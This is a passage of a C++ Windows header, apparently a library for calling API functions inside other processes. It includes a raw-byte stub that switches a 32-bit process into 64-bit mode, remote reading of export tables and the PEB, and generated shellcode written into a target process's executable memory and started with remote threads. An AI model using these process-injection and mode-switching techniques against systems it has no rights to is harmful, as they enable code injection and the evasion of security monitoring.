typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
size_t tcslen(const char* str) { return strlen(str); }
size_t tcslen(const wchar_t* str) { return wcslen(str); }
}
inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
#ifdef _WIN64
typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle, ULONG ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32 * ReturnLength);
static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
#define NtWow64ReadVirtualMemory64 ReadProcessMemory
#else
namespace {
typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
HANDLE ProcessHandle, UINT32 ProcessInformationClass,
PVOID ProcessInformation, UINT32 ProcessInformationLength,
UINT32* ReturnLength);
typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
HANDLE ProcessHandle, PVOID64 BaseAddress,
PVOID BufferData, UINT64 BufferLength,
PUINT64 ReturnLength);
static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
}
#endif
inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
if (hSnap == INVALID_HANDLE_VALUE) return 0;
MODULEENTRY32 mod = { sizeof(mod) };
if (Module32First(hSnap, &mod)) {
do {
if (!_tcsicmp(mod.szModule, moduleName)) {
CloseHandle(hSnap);
return (DWORD64)mod.hModule;
}
} while (Module32Next(hSnap, &mod));
}
CloseHandle(hSnap);
return 0;
}
DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
IMAGE_DOS_HEADER idh;
NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS32 inh;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
{
if (!moduleName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
#endif
PROCESS_BASIC_INFORMATION64 pbi = { 0 };
const int ProcessBasicInformation = 0;
NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB64 peb;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
if (!NT_SUCCESS(status)) return 0;
PEB_LDR_DATA64 ldr;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
if (!NT_SUCCESS(status)) return 0;
DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
LDR_DATA_TABLE_ENTRY64 head;
head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
do {
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
if (!NT_SUCCESS(status)) continue;
std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
if (!NT_SUCCESS(status)) continue;
if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
return head.DllBase;
} while (head.InLoadOrderLinks.Flink != LastEntry);
return 0;
}
inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
{
if (!hModule || !funcName) return 0;
if (!hProcess) hProcess = detail::hCurProcess;
#ifndef _WIN64
if (!NtWow64ReadVirtualMemory64) return 0;
#endif
IMAGE_DOS_HEADER idh;
NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_NT_HEADERS64 inh;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
if (!NT_SUCCESS(status)) return 0;
IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!idd.VirtualAddress)return 0;
IMAGE_EXPORT_DIRECTORY ied;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
if (!NT_SUCCESS(status)) return 0;
std::vector<DWORD> nameTable(ied.NumberOfNames);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
if (!NT_SUCCESS(status)) return 0;
for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
std::string func(strlen(funcName), 0);
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
if (!NT_SUCCESS(status)) continue;
if (func == funcName) {
WORD ord = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
if (!NT_SUCCESS(status)) continue;
DWORD rva = 0;
status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
if (!NT_SUCCESS(status)) continue;
return hModule + rva;
}
}
return 0;
}
inline DWORD64 GetNtDll64()
{
static DWORD64 hNtdll64 = 0;
if(hNtdll64) return hNtdll64;
hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
return hNtdll64;
}
#ifdef _WIN64
#define SetLastError64 SetLastError
#define VirtualQueryEx64 VirtualQueryEx
#define VirtualAllocEx64 VirtualAllocEx
#define VirtualFreeEx64 VirtualFreeEx
#define VirtualProtectEx64 VirtualProtectEx
#define ReadProcessMemory64 ReadProcessMemory
#define WriteProcessMemory64 WriteProcessMemory
#define LoadLibrary64 LoadLibrary
#define CreateRemoteThread64 CreateRemoteThread
#else
namespace {
#define _(x) __asm __emit (x)
__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
{
// see X64Call_disassemble for details
_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
}
#undef _
}
class X64Call
{
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(const char_t* v) : name(0) {
name = new _UNICODE_STRING_T<DWORD64>;
name->Buffer = (DWORD64)v;
name->Length = (WORD)tcslen(v) * sizeof(char_t);
name->MaximumLength = name->Length;
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
private:
_UNICODE_STRING_T<DWORD64>* name;
};
template<typename T>
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
return DWORD64(v);
}
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
private:
DWORD64 func;
public:
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
operator DWORD64() { return func; }
DWORD64 operator()() { return func && x64Call(func, 0); }
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
#undef CALLERS
#undef END_TO_DWORD64_DECL
#undef TO_DWORD64_DECL
#undef __TO_DWORD64_DECL
};
inline VOID WINAPI SetLastError64(DWORD64 status)
{
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
}
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
{
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
if (!NtQueryVirtualMemory) return 0;
DWORD64 ret = 0;
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
if (!status) return (SIZE_T)ret;
SetLastError64(ret);
return FALSE;
}
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
if (!ret) return tmpAddr;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
if (!NtFreeVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
{
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
if (!NtProtectVirtualMemory) return 0;
DWORD64 tmpAddr = lpAddress;
DWORD64 tmpSize = dwSize;
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
if (!ret) return TRUE;
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
{
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
if (!NtReadVirtualMemory) return 0;
DWORD64 read = 0;
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
if (!ret) {
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
{
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
if (!NtWriteVirtualMemory) return 0;
DWORD64 written = 0;
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
if (!ret) {
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
return TRUE;
}
SetLastError64(ret);
return FALSE;
}
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
DWORD64 lpStartAddress,
DWORD64 lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId)
{
static X64Call RtlCreateUserThread("RtlCreateUserThread");
if (!RtlCreateUserThread) return 0;
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
ULONG stackSize = dwStackSize;
DWORD64 handle = 0;
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
if (!status) return (HANDLE)handle;
SetLastError64(status);
return NULL;
}
#endif
class ProcessWriter
{
public:
template<typename T>
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
: _autoRelease(TRUE)
, _hProcess(hProcess)
, _dw64Address(0)
, _dwSize(dwSize)
{
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
return;
SIZE_T written = 0;
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
_dw64Address = 0;
}
}
~ProcessWriter() {
if (_dw64Address && _autoRelease)
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
}
void SetDontRelese() {
_autoRelease = FALSE;
}
operator DWORD64() {
return (DWORD64)_dw64Address;
}
#ifdef _WIN64
template<typename T>
operator T*() {
return (T*)_dw64Address;
}
#endif
private:
BOOL _autoRelease;
HANDLE _hProcess;
#ifdef _WIN64
LPVOID _dw64Address;
#else
DWORD64 _dw64Address;
#endif
SIZE_T _dwSize;
};
namespace {
std::string makeShellCode(int cnt, bool is64Bit)
{
if(is64Bit) {
// see X64Delegator_disassemble for details
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
0x20, 0x5b, 0xc3 };
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
if(!cnt) return templ_x64;
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
if(cnt >= 1)
templ_x64[16] = 0x3b;
if(cnt < 3) {
if(cnt >= 1) {
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
}
if(cnt >= 2) {
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
}
}
else {
templ_x64[20] = 0x49;
templ_x64[21] = 0x10;
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
if(cnt >= 4) {
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
}
if(cnt >= 5) {
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
}
if(cnt >= 6) {
templ_x64[21] = 0x38;
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
templ_x64[50] = 0x28;
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
}
// TODO
}
return templ_x64;
}
// see X86Delegator_disassemble for details
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
0x8b, 0xe5, 0x5d, 0xc3 };
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
// je distance
templ_x86[9] += cnt * 7;
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
int pos = 13;
for(int i = 0; i < cnt; ++i) {
switch(i % 3) {
case 0:
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
break;
case 1:
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
break;
case 2:
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
break;
}
templ_x86[pos + 2] = (cnt - i) << 2;
pos += 7;
}
switch(cnt % 3) {
case 0:
templ_x86[pos + 1] = 0x08;
break;
case 1:
templ_x86[pos + 1] = 0x02;
break;
case 2:
templ_x86[pos + 1] = 0x11;
break;
}
return templ_x86;
}
template<int argCnt, bool is64Bit>
const std::string& shellCode() {
static std::string kCode = makeShellCode(argCnt, is64Bit);
return kCode;
}
}
class YAPICall
{
template<typename T>
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
return DWORD64(v);
}
template<typename char_t>
struct StringHelper : detail::GCBase
{
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
}
virtual void gc() { delete name; }
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
private:
ProcessWriter* name;
};
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
private:
HANDLE _hProcess;
ProcessWriter* _sc;
DWORD64 func;
BOOL _dw64Ret;
DWORD _dwTimeout;
BOOL _is64Bit;
template<int argCnt>
bool initShellCoder(ProcessWriter*& sc) {
if(sc) return false;
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
return true;
}
template<typename T>
DWORD64 call(const std::vector<T>& param) {
ProcessWriter p(_hProcess, &param[0], sizeof(T) * (param.size()));
if (!p) return -1;
HANDLE hThread = 0;
if (_is64Bit)
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
else {
#ifdef _WIN64
// see X64toX86_disassemble for details
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
sc->SetDontRelese();
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
#else
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
#endif
}
if (!hThread) return -1;
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
_sc->SetDontRelese();
CloseHandle(hThread);
return -1;
}
if (!_is64Bit || !_dw64Ret) {
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
DWORD64 ret = 0;
CloseHandle(hThread);
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
return ret;
}
public:
YAPICall(HANDLE hProcess, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, moudle, funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
}
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
: _hProcess(hProcess)
, _sc(0)
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
, _dw64Ret(FALSE)
, _dwTimeout(INFINITE)
, _is64Bit(detail::is64BitOS)
{
if(!func) {
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
_is64Bit = FALSE;
}
}
~YAPICall() { if (_sc) delete _sc; }
operator DWORD64() { return func; }
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
